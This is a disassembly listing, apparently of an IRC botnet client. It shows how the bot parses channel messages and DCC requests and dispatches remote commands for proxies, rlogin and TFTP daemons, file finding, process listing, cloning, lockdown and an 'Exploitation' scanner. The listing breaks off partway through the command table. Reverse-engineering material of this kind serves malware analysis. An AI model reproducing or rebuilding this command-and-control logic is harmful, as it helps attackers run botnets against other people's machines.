loc_40F397:				; CODE XREF: sub_40EE72+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3B9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3E0

loc_40F3B9:				; CODE XREF: sub_40EE72+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F3BE:				; CODE XREF: sub_40EE72+56Cj
		cmp	[edi], bl
		jz	short loc_40F3D4
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F42E

loc_40F3D4:				; CODE XREF: sub_40EE72+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F3BE

loc_40F3E0:				; CODE XREF: sub_40EE72+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F48F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F417
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40F417:				; CODE XREF: sub_40EE72+59Aj
		push	[ebp+var_84]
		push	offset dword_432DA8

loc_40F422:				; CODE XREF: sub_40EE72+5B47j
					; sub_40EE72+5E96j ...
		call	sub_40BFE1
		pop	ecx

loc_40F428:				; CODE XREF: sub_40EE72+5FABj
		pop	ecx
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F42E:				; CODE XREF: sub_40EE72+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432D78
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F239
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F22E
; ---------------------------------------------------------------------------

loc_40F48F:				; CODE XREF: sub_40EE72+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4176D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		cmp	dword_42F5B8, ebx
		jz	loc_414F47

loc_40F4E3:				; CODE XREF: sub_40EE72+637j
					; sub_40EE72+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi

loc_40F52A:				; CODE XREF: sub_40EE72+8B9j
					; sub_40EE72+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_432D6C
		mov	[ebp+arg_8], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96F
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F82A
		cmp	[ebp+var_AC], ebx
		jz	loc_40F800
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432D28
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B4
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	loc_40F7EF

loc_40F659:				; CODE XREF: sub_40EE72+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_40F659
; ---------------------------------------------------------------------------

loc_40F66F:				; CODE XREF: sub_40EE72+681j
					; sub_40EE72+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F688
		mov	[ebp+var_4], 1

loc_40F688:				; CODE XREF: sub_40EE72+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40F239
		push	(offset	loc_4289A7+1)
		push	[ebp+var_8C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F6AF
		cmp	[ebp+var_4], ebx
		jz	short loc_40F6BB

loc_40F6AF:				; CODE XREF: sub_40EE72+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax

loc_40F6BB:				; CODE XREF: sub_40EE72+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40F239
		inc	[ebp+var_88]
		jz	short loc_40F707
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F707
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418DA0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F70D
; ---------------------------------------------------------------------------

loc_40F707:				; CODE XREF: sub_40EE72+85Bj
					; sub_40EE72+860j
		mov	esi, [ebp+var_C0]

loc_40F70D:				; CODE XREF: sub_40EE72+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F239
		push	edi
		push	offset dword_432D1C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F7B0
		mov	eax, dword_4CD770
		mov	eax, off_42F6C8[eax*4]
		cmp	[eax], bl
		jz	short loc_40F7B0
		push	eax
		push	ecx
		push	offset dword_432D00
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_4CD67C

loc_40F7A0:				; CODE XREF: sub_40EE72+58C1j
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F7B0:				; CODE XREF: sub_40EE72+8C8j
					; sub_40EE72+8D8j
		push	edi
		push	offset dword_432CDC
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F52A
		push	eax
		push	ecx
		push	offset dword_432CC4
		jmp	loc_40F22E
; ---------------------------------------------------------------------------

loc_40F7EF:				; CODE XREF: sub_40EE72+7E1j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_432C7C
		jmp	loc_40F95B
; ---------------------------------------------------------------------------

loc_40F800:				; CODE XREF: sub_40EE72+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_432C2C

loc_40F813:				; CODE XREF: sub_40EE72+6177j
					; sub_40EE72+61DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_40F822:				; CODE XREF: sub_40EE72+7EDj
					; sub_40EE72+AB1j ...
		push	1
		pop	esi
		jmp	loc_411100
; ---------------------------------------------------------------------------

loc_40F82A:				; CODE XREF: sub_40EE72+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F985
		cmp	[ebp+var_AC], ebx
		jz	loc_40F94F
		push	13h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_40F941
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432BF4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C351
		push	ebx
		push	ebx
		call	near ptr 2690AC4h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_40F933

loc_40F91D:				; CODE XREF: sub_40EE72+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------

loc_40F933:				; CODE XREF: sub_40EE72+AA9j
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset dword_432BB0
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------

loc_40F941:				; CODE XREF: sub_40EE72+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432B70
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------

loc_40F94F:				; CODE XREF: sub_40EE72+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432B30

loc_40F95B:				; CODE XREF: sub_40EE72+989j
					; sub_40EE72+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_40F96F:				; CODE XREF: sub_40EE72+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		mov	[edi], ecx
		jnz	loc_40F239

loc_40F985:				; CODE XREF: sub_40EE72+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_0 ; "c"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		push	[ebp+arg_8]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9D5
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47

loc_40F9D5:				; CODE XREF: sub_40EE72+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F47
		xor	edi, edi
		cmp	dword_42F794, ebx
		jle	loc_40FB81
		mov	[ebp+arg_20], offset dword_43FA70

loc_40F9F3:				; CODE XREF: sub_40EE72+BA0j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA19
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42F794
		jl	short loc_40F9F3
		jmp	loc_40FB81
; ---------------------------------------------------------------------------

loc_40FA19:				; CODE XREF: sub_40EE72+B90j
		push	offset asc_432E84 ; " :"
		push	[ebp+arg_0]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		mov	cl, byte_42F5C4
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42F5C4
		mov	[eax+3], cl
		lea	ecx, dword_43FA88[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418C10
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_40FA6E:				; CODE XREF: sub_40EE72+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FADA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FADA
		lea	eax, dword_43FA70[edi]
		push	eax
		call	sub_417AB0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FB0C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FB0C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------

loc_40FADA:				; CODE XREF: sub_40EE72+C24j
					; sub_40EE72+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FB0C
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 18h

loc_40FB0C:				; CODE XREF: sub_40EE72+C3Dj
					; sub_40EE72+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA6E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40FB29:				; CODE XREF: sub_40EE72+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB6C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB6C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch

loc_40FB6C:				; CODE XREF: sub_40EE72+CDFj
					; sub_40EE72+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FB29
		mov	[ebp+var_DC], 1

loc_40FB81:				; CODE XREF: sub_40EE72+B74j
					; sub_40EE72+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		jz	short loc_40FB9A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD7F

loc_40FB9A:				; CODE XREF: sub_40EE72+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A7D7
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A7D7
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A7D7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A7D7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_0 ; "$server"
		push	edi
		call	sub_40A7D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h

loc_40FC0C:				; CODE XREF: sub_40EE72+E86j
		test	eax, eax
		jz	loc_40FCFD
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_B8]
		push	offset asc_432AEC ; ")"
		push	eax
		call	sub_418B6E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40FC58
		cmp	[ebp+var_B8], 39h
		jle	short loc_40FC6E

loc_40FC58:				; CODE XREF: sub_40EE72+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40FC6E:				; CODE XREF: sub_40EE72+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	short loc_40FC91
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FCA2
; ---------------------------------------------------------------------------

loc_40FC91:				; CODE XREF: sub_40EE72+E0Bj
		call	sub_41730C
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl

loc_40FCA2:				; CODE XREF: sub_40EE72+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AB0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 30h
		jmp	loc_40FC0C
; ---------------------------------------------------------------------------

loc_40FCFD:				; CODE XREF: sub_40EE72+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_11B0]
		push	offset asc_42A3B4 ; " "
		push	eax
		call	sub_418B6E
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh

loc_40FD4D:				; CODE XREF: sub_40EE72+EF0j
		push	offset asc_42A3B4 ; " "
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40FD4D
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40F239
		add	ecx, 3
		mov	[eax], ecx

loc_40FD7F:				; CODE XREF: sub_40EE72+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aRn	; "rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aLo	; "lo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aVer	; "ver"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEEF
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_432A34

loc_40FED3:				; CODE XREF: sub_40EE72+10A1j
					; sub_40EE72+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416FEA
		add	esp, 20h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40FEEF:				; CODE XREF: sub_40EE72+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF15
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_432A10
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF15:				; CODE XREF: sub_40EE72+108Cj
		push	edi
		push	offset dword_432A00
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF3B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_4329F4
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF3B:				; CODE XREF: sub_40EE72+10B2j
		push	edi
		push	offset dword_4329EC
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF64
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_4329E0
		push	offset dword_4329D4
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF64:				; CODE XREF: sub_40EE72+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF8D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4329B0
		push	offset dword_4329A0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF8D:				; CODE XREF: sub_40EE72+1101j
		push	edi
		push	offset dword_432994
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_432988
		push	offset dword_43297C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FFB6:				; CODE XREF: sub_40EE72+112Aj
		push	edi
		push	offset dword_43296C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_432960
		push	offset dword_432954
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FFDF:				; CODE XREF: sub_40EE72+1153j
		push	edi
		push	offset dword_432944
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410008
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_432938
		push	offset dword_43292C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410008:				; CODE XREF: sub_40EE72+117Cj
		push	edi
		push	offset dword_43291C
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410031
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_432910
		push	offset dword_432904
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410031:				; CODE XREF: sub_40EE72+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41005A
		push	[ebp+esi+var_90]
		push	4

loc_41004B:				; DATA XREF: ___:0042CC90o
					; ___:0042CCA4o
		push	offset aServer	; "Server"
		push	offset dword_4328E8
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_41005A:				; CODE XREF: sub_40EE72+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_432888
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_4100D7:				; CODE XREF: sub_40EE72+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410100
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_432860
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410100:				; CODE XREF: sub_40EE72+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410129
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410129:				; CODE XREF: sub_40EE72+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
